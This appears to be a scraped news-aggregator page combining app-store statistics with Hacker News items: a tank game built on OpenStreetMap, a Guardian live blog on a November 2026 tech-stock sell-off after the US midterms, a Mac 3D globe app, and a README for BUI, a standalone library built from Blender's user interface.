Sports 8,704 74.7 %
Navigation 5,400 74.4 %
Weather 2,942 73.7 %
Productivity 7,671 72.0 %
Travel 6,682 71.6 %
Graphics & Design 2,644 71.5 %
Health & Fitness 9,695 70.6 %
Shopping 7,234 69.7 %
Medical 7,034 69.2 %
Lifestyle 8,676 68.8 %
Food & Drink 9,202 67.9 %
Reference 5,867 67.6 %
Utilities 7,795 66.9 %
Music 4,399 66.8 %
Education 15,799 66.7 %
Entertainment 7,167 66.7 %
Business 9,899 65.9 %
Social Networking 4,332 65.9 %
Photo & Video 5,073 64.5 %
Books 5,626 64.4 %
Finance 11,266 62.0 %
News 6,979 60.4 %
Games 7,325 59.9 %

4. How many apps are no longer maintained

70.9% of apps in the charts were updated in the last six months, yet 20.3% have gone a year or more without an update and 9.8% more than three years. Books, Reference and News have the most apps left alone; Finance the fewest (10.9%).

4. How many apps are no longer maintained
Download chart (SVG)
4. How many apps are no longer maintained
Download chart (SVG)
Show the numbers
Category Apps Share
Books 5,626 36.3 %
Reference 5,867 33.6 %
News 6,979 32.5 %
Medical 7,034 26.4 %
Music 4,399 26.3 %
Weather 2,942 25.2 %
Entertainment 7,167 25.1 %
Education 15,799 24.2 %
Photo & Video 5,073 24.1 %
Navigation 5,400 22.2 %
Graphics & Design 2,644 20.9 %
Developer Tools 2,183 20.0 %
Food & Drink 9,202 19.2 %
Social Networking 4,332 18.2 %
Lifestyle 8,676 17.7 %
Productivity 7,671 17.7 %
Utilities 7,795 17.1 %
Health & Fitness 9,695 17.0 %
Business 9,899 16.0 %
Games 7,325 15.4 %
Shopping 7,234 14.9 %
Sports 8,704 14.3 %
Travel 6,682 13.3 %
Finance 11,266 10.9 %

5. What bad reviews complain about

We read 165,735 US App Store reviews of 3,912 apps. Among 1-2 star reviews, 12.7% complain about subscription & price, 10.9% about bugs & broken features and 10% about login & account. One review can fall under several themes.

5. What bad reviews complain about
Download chart (SVG)

Next edition

We will refresh this report every quarter. From the next edition it will show change over time: which apps moved to subscriptions, how fast the AI share grows, and whether abandoned apps come back.

See the daily App Store chart data

How to read these numbers

  • Scope: 178,637 iPhone, iPad and Mac apps that appeared in an App Store top chart since October 9, 2026. In 12 large markets that means the overall and category charts for free, paid and top grossing apps; elsewhere the overall free chart. Apps never seen in a chart are left out.
  • Categories: the app's primary App Store category, with names in other languages merged. Categories with fewer than 1,500 apps have no row of their own.
  • Mentions AI: the name or the first 1,500 characters of the description contain AI, GPT, artificial intelligence, machine learning, generative, LLM or chatbot. It shows the app markets itself with AI, not that its features depend on it.
  • Sells in-app purchases or subscriptions: free to download, and the description mentions a subscription, in-app purchase, premium, trial, unlock, Pro or a monthly or yearly price. Apps that say nothing may still sell something, so this share is on the low side.
  • Independent developer: at most 5 of the developer's apps seen in the charts, no app with 30,000 ratings or more, and a seller name that does not read as a company (Inc, Corp, GmbH and the like). We only see apps that charted, so this share may run high.
  • Last update: the release date of the current version on the US App Store.
  • Reviews: recent public reviews on the US App Store. Themes come from keywords (for example subscription, ads, crash); shares are of 1-2 star reviews, except feature requests, which are of all reviews. Recent reviews lean negative, so we do not publish the overall share of bad reviews.
  • Ratings: only apps with at least 50 ratings count.

Cite and download

The charts and data are free to use, commercial use included (CC BY 4.0). Please credit “Obelisk Club” and link to this page.

Suggested citation

Obelisk Club, “App Store 2026 in numbers”, November 6, 2026, https://obelisk.club/research/app-store-2026

Download all figures (CSV)

Multiplayer tanks that demolish real buildings from OpenStreetMap

Hacker News
worldstrike.fun
2026-11-06 02:55:48
Comments...
Original Article

FIND YOUR STREET. FLATTEN IT.

  • Drive a tank through any real city.
  • Knock buildings down. They stay down for everyone.
  • Fight other tanks and defend your streets.
  • Spray your mark on the rubble.
Paint Deploy

WASD drive · Mouse aim · Click fire

Tap the street to aim, hold FIRE to shoot.

Global stocks tumble as AI panic grips markets after Democrats' midterm success

Hacker News
www.theguardian.com
2026-11-06 02:52:53
Comments...
Original Article

Introduction: Global stocks tumble as AI panic grips markets

Good morning, and welcome to our rolling coverage of business, the financial markets and the world economy.

Fears that the Democratic Party’s blue wave in this week’s midterm elections will sink the AI investment boom are roiling markets, following heavy losses on Wall Street last night.

Asia-Pacific markets are a sea of red (unlike the US election map on Tuesday night!), as investors ditch tech stocks after more than $3.2tn was wiped off the US stock market yesterday.

Today, Japan’s Nikkei stock index has slumped by almost 6% – its worst drop since April 7 2025 during the ‘liberation day’ tariff panic.

South Korea’s KOSPI is down 6.7%, and Taiwan’s TAIEX has dropped by 4.5% in a broad rout.

Christopher Forbes , head of Asia and Middle East at CMC Markets , called the market action “a bit of a disaster”, explaining ( via Reuters ):

double quotation mark “(Clients) were long index, long stocks, and they all got carried out.

“All night, all day – we had client margin calls, client complaints, ... because it’s a very emotional thing, right? People are wedded to their positions and views on a stock or outcome and you’re telling them, look, you’ve just lost money.

“And it’s not just a slap in terms of valuation. It’s basically a whole policy and six-year structural shift that says we’re now going to pause, we’re now going to cool AI, we’re now going to cool data centres, approvals and equity capital markets.”

After months of warnings that AI valuations were too high, and that the bubble might burst, US investors dashed to the exits en masse yesterday. The Nasdaq tech index slumped by 5.5%, while the Dow Jones Industrial Average (DJIA) dropped 1,833.06 points, or 3.44%, and the S&P 500 lost 4.36%.

Memory chip makers, who had been profiting from the AI boom, led the fallers – SanDisk slumped 22% and both Micron and AMD lost 17% of their value.

Chip giant Nvidia led the fallers on the DJIA , down over 9%.

Analysts pointed to policy uncertainty as Democrats are more critical of data centres, which could slow the rollout of AI investment – especially given public opposition to the sector .

Kyle Rodda , senior financial market analyst at Capital.com, says it was a “brutal sell-off” as fears about the future of the AI buildout gripped the markets.

double quotation mark The tumble in tech stocks that took hold in the immediate aftermath of the US midterm elections resumed as investors contemplated what a Democrat-controlled Congress may mean for tech regulation and the overall AI boom.

The regulatory and political risks arise at a time when the proverbial AI trade was already on shakier foundations. Earnings season has been an overall disappointment for the markets, with Magnificent Seven results so far undershooting growth expectations and flashing warning signs that the pace of AI spending is slowing down.

So, it could be a ‘tin hats on’ day in the markets. Investors will also be watching the latest US jobs report, for clues into the health of America’s labour market.

The agenda

  • 7am GMT: Lloyds house price index

  • 9am GMT: UN’s FAO food price index

  • 1.30pm GMT: US non-farm payrolls jobs report

  • 3pm GMT: University of Michigan’s US consumer confidence report

Key events

Reuters: Tech selloff wipes out hedge fund gains, leads to layoffs

Technology stocks have been dropping since early October, when the Nasdaq Composite hit a record high.

Those losses have been painful for hedge funds who had used borrowed money to back tech stocks (using ‘leverage’, in market jargon).

As the markets have fallen, those leverage bets will have turned sour, prompting margin calls (when your broker demands more cash or collatoral to cover a losing position).

Reuters reports:

double quotation mark Several large multi-manager hedge fund platforms have cut leverage and laid off loss-making teams in recent weeks, said market participants, who expect more layoffs if declines continue.

The post-US midterm market turmoil extended losses after a bruising October, when sentiment was dampened by elevated AI-related borrowing costs and worries over returns.

The Nasdaq 100 index, which contains many tech heavyweights, plunged 6.6% last month, its biggest monthly fall in 18 months. JPMorgan estimates global hedge funds lost 3% in October.

Jefferies: don't see Democrats giving up on AI growth engine

Interestingly, Jefferies economist Mohit Kumar doesn’t believe yesterday’s losses are “the start of the unwind of the AI trade”.

Kumar argues:

double quotation mark We do admit that policy uncertainty after the Blue Tsunami raises concerns over AI investment and the pace of data center buildup.

However, data centers and AI infrastructure also create jobs and Democrats would be reluctant to let those jobs move onto other states or outside the country. AI investment has been a key driver of US growth, and we do not see Democrats as giving up on this growth engine.

Market sell-off: what the experts say

There was a huge slump in the most AI-exposed parts of the US stock market yesterday, Jim Reid of Deutche Bank told clients this morning:

double quotation mark In fact, the scale of the moves ranked among the biggest in years, and the Philly semiconductor index (-12.25%) had its worst day since the pandemic slump in March 2020 . And in turn, that cascaded elsewhere, with the S&P 500 (-4.36%) posting its biggest slump since the Liberation Day volatility in April 2025 .

So that drove a huge surge in the VIX index (+11.6pts), which also saw its biggest daily jump since the Liberation Day period, ending the session at 28.2pts, its highest since March.

Mohit Kumar, economist at investent bank Jefferies , doesn’t expect a quick rebound from yesterday’s losses.

He writes:

double quotation mark In previous episodes of retail selling, institutional investors have stepped in to find value. The approaching year-end complicates the behaviour of institutional accounts as risk appetite would be limited….

The geopolitical uncertainty around possible US action in Iran also suggests that investors would not rush to add risk.

Stuart Clark , portfolio manager at Quilter , points out that the dominance of the tech sector exacerbated yesterday’s selloff:

double quotation mark “The blue wave at the ballot box has quickly been replaced by a sea of red on investors’ screens. Technology stocks have sold off sharply, with the immediate catalyst appearing to be concerns around tougher AI regulation, covering both the models themselves and the vast data centre infrastructure required to support them.

“The scale of the falls in some of the market’s biggest names has been striking. But it also highlights the concentration risk that has built up in US equity markets. With a relatively small number of technology and semiconductor stocks now carrying so much weight, weakness in those names quickly translates into sizeable falls for the Nasdaq and S&P 500.

Ahead of this week’s losses, there were plenty of warning signs that markets might have risen too fast.

As my colleague Richard Partington and I wrote in late September, the warning lights were “flashing red” as the fighting in the Middle East intensified, a slowdown loomed in the AI arms race, and government borrowing costs hit multi-decade highs.

One popular measure used by investors to assess whether a market is overvalued – the CAPE ratio – or cyclically adjusted price-to-earnings ratio – had risen to its highest level since 2000 by September, showing that the US stock market is unusually highly valued compared with its profits.

This week’s losses have pulled the CAPE ratio down ( you can see it here ), but it’s still historically high:

The Cyclically Adjusted PE Ratio (CAPE Ratio) for the S&P 500
The Cyclically Adjusted PE Ratio (CAPE Ratio) for the S&P 500 Photograph: https://www.multpl.com/

Reasons not to panic

Siraj Datoo

Siraj Datoo

Amid the scary-everything-is-bad-in-stocks news, it’s easy to feel a bit worried about pensions or savings, my colleague Siraj Datoo writes.

And yes, yesterday was a bad day in particular for technology stocks, with the Nasdaq losing $2.5tn in market capital in a single day.

But it’s worth taking a second to pause. While many of the charts leading newspaper homepages are fairly narrow, showing the dramatic fall in just a few days, if you look at the Nasdaq, the US index mostly dominated by tech stocks, from the start of the year, it’s still up 4.6% YTD ( see previous post for more details ).

A screenshot showing the Nasdaq Composite this year
The Nasdaq Composite this year Photograph: LSEG

Of course, this correction still could have room to run and markets are famously emotional. But there have been warnings about this. Michael Burry, the famous fund manager behind The Big Short, has been screaming from the sidelines about overvaluations in the tech world.

One of the major concerns right now is the huge data centre buildout in the US and whether Democrats will place restrictions or slow things down. That’s a problem for investors because so many of the world’s biggest companies have invested enormous amounts of money -- often taking on additional debt -- to fund their deep investment. The bet is that the artificial buildout will eventually generate big returns but investors are now increasingly worried about just how long that will take.

Most markets still up for the year

Despite the sharp losses suffered on global stock markets around the world, most indices are still up for the year.

The Nasdaq Composite index, for example, is still up 4.6% since the start of January – even though it’s more than 10% below its peak.

Britain’s FTSE 100 share index has gained almost 6.9% in 2026, even though – at 10,615 points – it’s more than 300 points below the record high set in July.

South Korea’s KOSPI is up over 29% year to date – which sounds impressive until you remember that it doubled in the first half of 2026, driven by huge demand for chipmakers Samsung and SK Hynix from the AI industry.

China’s CSI 300 stock index, though, are down over 12% this year – its AI stocks fell sharply a few months ago.

European markets drop, FTSE 100 down 1.5%

Europe has joined the global selloff.

The FTSE 100 index, which tracks blue-chip shares listed in London, has dropped by 166 points, or over 1.5%, at the start of trading to 10,615 points. Most of the hundred stocks on the index are down.

Pharmaceuticals giant AstraZeneca (-2.8%) are the top faller on the FTSE 100 .

Other fallers include IAG (-1.5%) which owns British Airways, after it which missed profit forecasts this morning and warned that its annual capacity would be slightly lower than a year earlier.

Germany’s DAX index is down 1.5%, France’s CAC 40 has dropped by 1.2% at the open, Spain’s IBEX is down 1.1%.

Susannah Streeter, chief investment strategist at Wealth Club, says:

double quotation mark “The tech sell-off has intensified, with the pain of the brutal sell-off on Wall Street carried straight through to Asia and knocking sentiment in Europe.

Big worries are colliding – the build-out of data centres looks set to slow, which risks shredding the spending spree underpinning the boom, right at the time that investors have become super nervous about returns on this massive investment.

Donald Trump isn’t really correct to say that the stock market “suffered one of the worst days in history”.

Yesterday’s 3.44% tumble on the Dow Jones industrial average (DJIA) certainly doesn’t compare with Black Monday (October 19 1987), when the Dow crashed by 22.6%.

Since then, there was a 7.87% drop on 15 October 2008 (the financial crisis), a 12.9% tumble on 16 March 2020 (the Covid-19 pandemic) and a 5.6% drop in April 2000 (after the dot-com bubble burst), to pick a few recent bad days since.

Indeed, there seem to have been more than 70 larger falls on the DJIA since 1987 (based on my eyeballing of the data). The DJIA tracks 30 large US companies, including Apple, Amazon, Nvidia, Coca-Cola and Walt Disney.

But in value terms, it was a more significant selloff, especially for tech stocks.

The Nasdaq 100 Index sank 6.4%, wiping out $2.3tn in market value, the most on record, Bloomberg has calculated.

There were some dramatic scenes in Asia-Pacific stock markets today.

In Taiwan, the benchmark Taiex stock index plunged a record 3,737.67 points in early trading. It closed down 1,791 points, or 4.6%.

Taiwanese stocks had benefited from the AI boom – earlier this week, the Taiex index was up more than 50% for the year.

Over in Seoul, the Kospi index fell to its lowest level since early April, in a slump which triggered a 20-minute circuit breaker.

UK house prices fell unexpectedly in October

Stocks aren’t the only thing dropping in value!

UK house prices fell by 0.6% in October, new data from Lloyds bank shows.

Prices were 1.2% lower than a year ago, the biggest annual fall since October 2023.

A Reuters poll of economists had predicted a 0.1% monthly increase and an annual fall of 0.3%.

Lloyds reports that the average property price dropped to £296,285 last month, down from £298,167 in September.

Andrew Asaam , mortgages director at Lloyds , explains:

double quotation mark “Housing demand is currently being tested by a challenging economic backdrop. Renewed inflationary pressures, driven in part by the conflict in the Middle East, are keeping borrowing costs high and adding to the squeeze on household finances, making some buyers understandably more cautious.

Japan’s Nikkei share average has posted its worst week in more than six years.

For the week, the benchmark was down 9.3%, its worst weekly decline since March 2020 during the pandemic, Reuters points out .

Trump: 'Dumocrats' caused market crash

Donald Trump has blamed the Democratic party for the market selloff.

Posting on his Truth Social site, the president wrote:

double quotation mark The Stock Market suffered one of the Worst Days in History based on the results of the Election. Such a sad thing to watch! It took so much work to get us to a level that no one has ever seen before, and then this. Your 401(k)s have, therefore, dropped. Remember, it wasn’t Republicans, it was Dumocrats. Do not fear, however, we will soon, one way or the other, be BIGGER AND STRONGER THAN EVER BEFORE. MAKE AMERICA GREAT AGAIN! President DONALD J. TRUMP

He then appeared to blame the voters too (!), adding:

double quotation mark The Stock Market crashed today because the Dumocrats had a big Tuesday — So sad to see, you only have yourselves to blame! President DONALD J. TRUMP

The Financial Times have calculated that US stocks shed $3.2tn on Thursday, in a day of “chaotic trading”.

Thet explain:

double quotation mark The market value drop on the S&P Composite 1500 index, a broad basket of America’s publicly traded companies, was the biggest since the turn of the millennium, according to FT calculations based on FactSet data

Introduction: Global stocks tumble as AI panic grips markets

Good morning, and welcome to our rolling coverage of business, the financial markets and the world economy.

Fears that the Democratic Party’s blue wave in this week’s midterm elections will sink the AI investment boom are roiling markets, following heavy losses on Wall Street last night.

Asia-Pacific markets are a sea of red (unlike the US election map on Tuesday night!), as investors ditch tech stocks after more than $3.2tn was wiped off the US stock market yesterday.

Today, Japan’s Nikkei stock index has slumped by almost 6% – its worst drop since April 7 2025 during the ‘liberation day’ tariff panic.

South Korea’s KOSPI is down 6.7%, and Taiwan’s TAIEX has dropped by 4.5% in a broad rout.

Christopher Forbes , head of Asia and Middle East at CMC Markets , called the market action “a bit of a disaster”, explaining ( via Reuters ):

double quotation mark “(Clients) were long index, long stocks, and they all got carried out.

“All night, all day – we had client margin calls, client complaints, ... because it’s a very emotional thing, right? People are wedded to their positions and views on a stock or outcome and you’re telling them, look, you’ve just lost money.

“And it’s not just a slap in terms of valuation. It’s basically a whole policy and six-year structural shift that says we’re now going to pause, we’re now going to cool AI, we’re now going to cool data centres, approvals and equity capital markets.”

After months of warnings that AI valuations were too high, and that the bubble might burst, US investors dashed to the exits en masse yesterday. The Nasdaq tech index slumped by 5.5%, while the Dow Jones Industrial Average (DJIA) dropped 1,833.06 points, or 3.44%, and the S&P 500 lost 4.36%.

Memory chip makers, who had been profiting from the AI boom, led the fallers – SanDisk slumped 22% and both Micron and AMD lost 17% of their value.

Chip giant Nvidia led the fallers on the DJIA , down over 9%.

Analysts pointed to policy uncertainty as Democrats are more critical of data centres, which could slow the rollout of AI investment – especially given public opposition to the sector .

Kyle Rodda , senior financial market analyst at Capital.com, says it was a “brutal sell-off” as fears about the future of the AI buildout gripped the markets.

double quotation mark The tumble in tech stocks that took hold in the immediate aftermath of the US midterm elections resumed as investors contemplated what a Democrat-controlled Congress may mean for tech regulation and the overall AI boom.

The regulatory and political risks arise at a time when the proverbial AI trade was already on shakier foundations. Earnings season has been an overall disappointment for the markets, with Magnificent Seven results so far undershooting growth expectations and flashing warning signs that the pace of AI spending is slowing down.

So, it could be a ‘tin hats on’ day in the markets. Investors will also be watching the latest US jobs report, for clues into the health of America’s labour market.

The agenda

  • 7am GMT: Lloyds house price index

  • 9am GMT: UN’s FAO food price index

  • 1.30pm GMT: US non-farm payrolls jobs report

  • 3pm GMT: University of Michigan’s US consumer confidence report

Kugelblitz – Mac-Native Google Earth Alternative

Hacker News
apps.metaebene.me
2026-11-06 02:47:38
Comments...
Original Article

The Earth and its neighbors as a 3D globe and atlas for the Mac – maps and open geodata on real terrain.

Kugelblitz shows the Earth and its neighbors as a globe and as an atlas you fly over smoothly like a pilot, even on an M1. Imagery, road map and topographic map lie on real terrain, joined by thousands of open maps from the Library. Everything comes from freely available geodata, straight from its publishers, OpenStreetMap from the Kugelblitz tile server; you need no account.

Everything loaded stays in the cache, and Kugelblitz instances in the same network share it with each other if you wish. Status windows tell how far the view has loaded, where you are looking and where its data comes from, and every source is listed with its license in “Sources and Licenses”. Kugelblitz speaks German and English and uses the units of your choice.

Drawn maps on real terrain

The Earth on three kinds of map, as a globe and as an atlas: Imagery, road map and topographic map. The two drawn ones do not lie flat beside it but on the globe's terrain, with buildings in 3D. A scene brings back a ready-made view in one move.

More about Maps

The topographic map at the Grossglockner seen at an angle, hillshading, elevation tints and contour lines lie on the terrain, glaciers white, slopes red-brown, the green lowlands behind The topographic map at the Grossglockner seen at an angle, hillshading, elevation tints and contour lines lie on the terrain, glaciers white, slopes red-brown, the green lowlands behind

Every body flat as a printed map

Beside the globe Kugelblitz shows every body as an atlas: the same data flat in five projections, from the whole sheet to the finest images. You switch in the title bar or with ⇧⌘A.

More about Atlas

North Africa, Europe and Arabia in the atlas in Equal Earth, in the corner the two hemispheres with the area the window shows North Africa, Europe and Arabia in the atlas in Equal Earth, in the corner the two hemispheres with the area the window shows

Search, view and add the world's open geodata

The Library (⇧⌘B) opens directories and geoportals with map services from all over the world: aerial images, satellite images, elevation models, maps and buildings in 3D. “On the Globe” shows any service at once, and one click adds it to “My Places”.

More about Library

Central Europe with the railway network from OpenRailwayMap over the satellite image Central Europe with the railway network from OpenRailwayMap over the satellite image

All of OpenStreetMap, without a download and without regions

OpenStreetMap comes from Kugelblitz's own tile server: the whole planet, prepared for Kugelblitz, in tiles only for the area you see, at the level the distance asks for. No regions, no large download, the same everywhere on Earth.

More about Tile server

Tokyo seen at an angle on the road map with streets, railway lines, buildings and names Tokyo seen at an angle on the road map with streets, railway lines, buildings and names

Fly like a pilot with a SpaceMouse

The SpaceMouse from 3Dconnexion is Kugelblitz's control stick: all movements at once, as fine as you move the cap, without a driver. Keyboard, trackpad and mouse work as well, all at once too.

More about Flying

Low flight over the Puez group in the Dolomites, mountains and valleys up to the horizon Low flight over the Puez group in the Dolomites, mountains and valleys up to the horizon

Smooth, even on an M1

Aerial image, terrain, buildings, roads and names at once, and the flight stays smooth. Kugelblitz is made and measured on a Mac mini with M1 and 16 GB.

More about Performance

Low flight over Lucerne towards Pilatus with aerial image, terrain, buildings, roads, railway lines and names at once Low flight over Lucerne towards Pilatus with aerial image, terrain, buildings, roads, railway lines and names at once

The Mac streams the globe into the headset

The Mac draws, the headset shows: View → “Show on Vision Pro…” (⌥⌘V) brings the globe all around you, without an app on the headset, from an M1 too. Checked with Mac and headset on 27.2.

More about Apple Vision Pro

Both eyes side by side, as the Mac's window shows them while streaming, the view up the Lauterbrunnen valley to the glaciers at its head, at the top the navigation in the room; not a recording from the headset Both eyes side by side, as the Mac's window shows them while streaming, the view up the Lauterbrunnen valley to the glaciers at its head, at the top the navigation in the room; not a recording from the headset

What happened, where and when

Eclipses over 5,000 years, computed rather than read from tables, as well as earthquakes, eruptions, tsunamis and fireballs at their place and time. Let the time shuttle run and you see them come and go.

More about Events

The total solar eclipse of 12 August 2026, the Moon's shadow on Greenland's east coast, with the central line, the limits of totality and the lines of equal coverage The total solar eclipse of 12 August 2026, the Moon's shadow on Greenland's east coast, with the central line, the limits of totality and the lines of equal coverage

Blender's UI and Runtime: Much Faster Than GPUI

Hacker News
github.com
2026-11-06 02:40:35
Comments...
Original Article

BUI Logo

Blender's user interface, as a library you can use from Python, Rust, JavaScript/React, C, C++ and Dear ImGui.

People spent decades building and optimizing Blender's GUI. It's battery and memory efficient, and super duper fast. We decoupled it, to give everyone a chance to build their own products with it. It supports multiple languages and frameworks, so you won't miss a beat!

PyPI Python crates.io @blender-ui/react Wheels License: GPL-2.0-or-later Platforms

Website and full documentation: bui.preetham.top

BUI's Blender components: panels, number sliders, vector fields, checkboxes and a color swatch An unmodified tkinter program running on BUI

This README is a small book. Read it front to back for the whole story, or jump to the chapter you need. Every chapter links to a longer guide in docs/ or on the website when there's more to say.

Contents

Part I: Welcome

  1. What BUI is
  2. Why BUI exists
  3. Who it's for
  4. The many ways in
  5. Features at a glance
  6. A gallery

Part II: Getting started

  1. Install
  2. First app: tkinter
  3. First app: Blender components
  4. First app: Qt syntax
  5. First app: Rust, in rsx and gpui builders
  6. First app: JavaScript and React
  7. First app: Dear ImGui
  8. First app: C

Part III: Concepts

  1. How it works
  2. Blender's widgets and interactions
  3. Three looks: HTML, styled and Blender components
  4. Rendering on the CPU and the GPU
  5. Damage rendering
  6. Window hosts
  7. Text and fonts
  8. Themes: dark and light

Part IV: Guides by language

  1. Python
  2. Rust
  3. JavaScript and React
  4. Dear ImGui
  5. C and embedding
  6. Where the docs live

Part V: Performance

  1. Before you read the numbers
  2. Start time and battery
  3. Frame times
  4. JavaScript and React: startup and animation
  5. Run the benchmarks yourself

Part VI: Reference

  1. Platforms
  2. Environment variables
  3. Building from source and CMake options
  4. Coverage
  5. Repository layout
  6. Examples

Part VII: The project

  1. Status and roadmap
  2. FAQ
  3. Contributing and publishing
  4. License and credits

Part I: Welcome

1. What BUI is

BUI takes the user interface of Blender (its widget drawing, its interaction rules and its look) and turns it into a standalone UI library with a small C core. Your code builds the widget tree and handles callbacks. Layout, input, drawing and presenting all happen in fast native code, on the CPU or the GPU.

At the heart of BUI is the kit : a small runtime written in C. The kit holds every widget in one tree, lays them out, handles the mouse and keyboard, and draws them the way Blender does. The drawing code is a C port of Blender's own widget code, and the interaction follows Blender's rules. On top of the kit sit bindings : thin layers that let Python, Rust, JavaScript, C++ and Dear ImGui talk to it.

What BUI is not:

  • Not Blender. It contains the parts of Blender's UI code it needs and builds on its own. You don't need Blender installed, and you don't need to know Blender to use it.
  • Not a browser. The Rust and JavaScript sides use HTML and CSS as a UI language , but there's no browser engine, no webview and no network.
  • Not a re-imagining. The widget drawing is ported from Blender's interface_widgets.cc , and the Dear ImGui support runs the real Dear ImGui.

2. Why BUI exists

Blender's interface is famous for how it feels . You press a number field and drag: the cursor vanishes, the value glides under your hand, and you never hit the edge of the screen. You type 2*pi into a field and it just works. You type "ad cu" into a menu and it finds "Add Cube". Millions of artists have these habits in their hands.

That interface is also fast and frugal. It redraws only what changed, sleeps when nothing does, and starts in milliseconds. BUI exists so that any app, in any language, can have both: Blender's feel, and Blender's efficiency.

3. Who it's for

  • You have a tkinter app and wish it looked less like 1998. Run it on BUI, unchanged.
  • You're building a tool for artists who already know Blender. Give them the panels, sliders and shortcuts their hands expect.
  • You write Rust or React and want a native desktop UI without shipping a browser.
  • You use Dear ImGui and want it to look and feel like Blender, with one build flag.
  • You're curious how a UI toolkit works. The source is readable, and the concepts are explained in plain words.

4. The many ways in

You can drive BUI many ways, and all of them share the same C runtime, so they all get the same widgets and interactions:

You write You get Status
tkinter code, even existing programs, unchanged Blender-styled apps; every tkinter and ttk API Complete
Qt-style Python ( QWidget , layouts, clicked.connect ) The common subset of Qt widgets Partial
Blender components ( Panel , NumberSlider , PieMenu , the node editor ...) 45 native Blender widgets and editors, from Python; ten of them also from Rust and JavaScript Complete
Rust : HTML + CSS + Tailwind, HTML-like markup ( rsx! / view! ), hooks, or gpui / zopra syntax A web-like framework: HTML that looks like a browser's, Blender's look with styled , and Blender components ( <NumberSlider> , <Button> ...) Working
JavaScript / React on Node.js or Bun: a DOM-like API or JSX The same engine and components in native windows, over napi-rs; React's hooks backed by signals Working
Dear ImGui from C++, C, Python or Rust The real Dear ImGui on BUI windows in Blender's theme, or a build where ImGui's widgets are Blender's widgets Working
C ( BUI_kit.h ) The kit itself: nodes, widgets, windows Working
MyGo MyGo Not yet (coming soon)

Not sure which to pick? If you already have code, use the row that matches it. If you're starting fresh in Python, the Blender components are the friendliest.

5. Features at a glance

Blender's widgets and interactions

  • Number fields you drag with a hidden, continuous cursor : Shift for precision, Ctrl to snap.
  • Math in number fields , with Blender's own expression evaluator: 2*pi , min(4, 3) , round(1.7) , x if c else y .
  • Ctrl+Wheel steps values, Ctrl+C / Ctrl+V copy values, Backspace resets.
  • Drag across checkboxes to set them all.
  • Press-drag-release menus, pie menus, and Blender's fuzzy menu search : "ad cu" finds "Add Cube", typos are forgiven, recent picks rank first.
  • Ctrl+Z / Ctrl+Shift+Z on every UI edit, and inside a text field while you type; Tab between fields.
  • Blender's float display precision, multi-field vertical drags, and panels that collapse with Blender's animation.
  • The HSV color wheel, color ramps, curves, trees, lists, text areas, canvases, a node editor and Blender's File Browser.
  • Blender's Dark and Light themes , switchable at run time.

Python, four ways

  • tkinter : all 7,846 public names of tkinter and ttk. Nine real programs behave identically on the standard library and on BUI.
  • Qt syntax : widgets, layouts, signals, QPainter , menus and timers.
  • Components : 45 Blender widgets, editors and templates.
  • Dear ImGui : from blenderui import imgui , pyimgui-style.
  • One pip install , no Qt or Tk widgets drawing anything.

Rust: the web platform, natively

  • All 113 HTML elements , drawn like a browser draws them; styled gives any subtree Blender's look, and Blender components ( <NumberSlider> , <Button> , <ColorSwatch> ...) are real Blender widgets.
  • Modern CSS : flexbox, grid with named areas, tables, calc() and every math function, var() , oklch() and color-mix() , :has() , nesting, @layer , @media ranges, @container , ::before / ::after , counters.
  • Effects and motion : @keyframes animations and transitions, filters, backdrop-filter , blend modes, clip-path , masks, 2D transforms, border-image .
  • Tailwind CSS v4 : class="md:hover:bg-sky-500/50" or bare attributes ( <div p-4 bg-[#4772b3]> ), with "did you mean" compile errors .
  • rsx! / view! HTML-like markup, #[component] , and hooks in zopra, React or Leptos style ( use_state , signal , Memo , Effect , context).
  • gpui-compatible syntax too: div().flex().gap_2() , Render , cx.listener .
  • On crates.io : cargo add blenderui .

Fast by design

  • Damage rendering : an idle UI costs 0% CPU, and a hover redraws only the widget it touches.
  • Opt-in GPU renderer (Direct3D 11 on Windows, OpenGL 3.3 on Linux), modeled on Blender's instanced widget drawing. It draws the same pixels as the CPU raster.
  • In the benchmark, 2–4× less CPU per frame than gpui-fast , with less RAM and a ~5 ms first frame .
  • Blender's text : Inter (Blender's UI font) is embedded and rendered with FreeType the way Blender renders it, so text looks the same on every platform. On the GPU, glyphs are drawn from their outlines with Slug , falling back to a per-glyph atlas like Blender's.

Images

  • One decoder set for every language , in C: PNG, GIF, BMP, TGA, QOI ( Wuffs , memory-safe), JPEG (libjpeg-turbo), WebP including animated (libwebp), Radiance HDR, PNM and SVG. The design is Blender's imbuf: one image type and a format table.
  • Decoded at the size it is drawn, off the UI thread : JPEG thumbnails use DCT scaling (a 4K photo becomes a 256 px thumbnail in ~12 ms), visible images first, scrolled-away requests cancelled, and only the image's rectangle redraws when it arrives. The page never jumps: sizes come from the file header.
  • One memory-budgeted cache (256 MiB by default). Scrolling 1,000 photo thumbnails: 2.9 ms p99 frames and 100 MB , against 96 ms and 2.5 GB when decoding on the UI thread; 0 allocations in a settled frame, every block freed at exit. Images .
  • Animated GIF and WebP play everywhere an image shows, decoded one frame at a time at the size drawn (two frames held per animation), each frame for its own delay, only the image's rectangle repainting. Off screen, scrolled away or in a hidden window they pause: 200 animations at once take 0.76 ms p50 / 1.5 ms p99 render frames, and nothing at all once off screen. frame holds one frame; reduced motion holds them all.
  • Large images on the GPU : images over 2047 px get a texture of their own on Direct3D 11 and OpenGL (tiled only past the device limit), freed with the image.
  • <img> , CSS background-image , object-fit , Blender Image components, tkinter PhotoImage (now also JPEG, WebP, BMP, TGA, QOI, HDR, SVG), canvas items, data-table image columns, chat-list media and Dear ImGui textures (animated ones too).

JavaScript and React

  • React 19.3 renders to BUI: HTML host components, CSS and Tailwind, events, Suspense, transitions, actions, and Blender components ( <NumberSlider> , <Button> ...). BUI draws them, on the CPU or the GPU; there's no browser and no webview.
  • React's hooks, by React's names , holding signals: pass one into JSX ( {count} ) and a change updates that one node without re-rendering; read it while rendering ( count.value ) and the component re-renders, as with React. A conformance suite checks each hook against React's own.
  • @blender-ui/native : a DOM-like API ( createElement , appendChild , addEventListener ) with the same signals, for apps without React.
  • Node.js and Bun , through a napi-rs addon, with headless mode for tests.

Small standalone apps

  • bui build app.jsx produces one executable of about 7 MB : BUI with an embedded QuickJS engine.
  • First frame in ~70 ms , at 19 MB of RAM, with nothing to install. There's no browser and no webview.
  • --bun builds a Bun executable instead, with Node's APIs and a JIT.
  • Builds take under a second: the app's bundle is appended to a prebuilt runtime.

Dear ImGui

  • The real Dear ImGui 1.93 : every function of imgui.h works, including ShowDemoWindow() .
  • Four languages : C++ (drop-in imgui.h ), C ( cimgui.h , all 399 functions), Python and Rust (generated from imgui.h ).
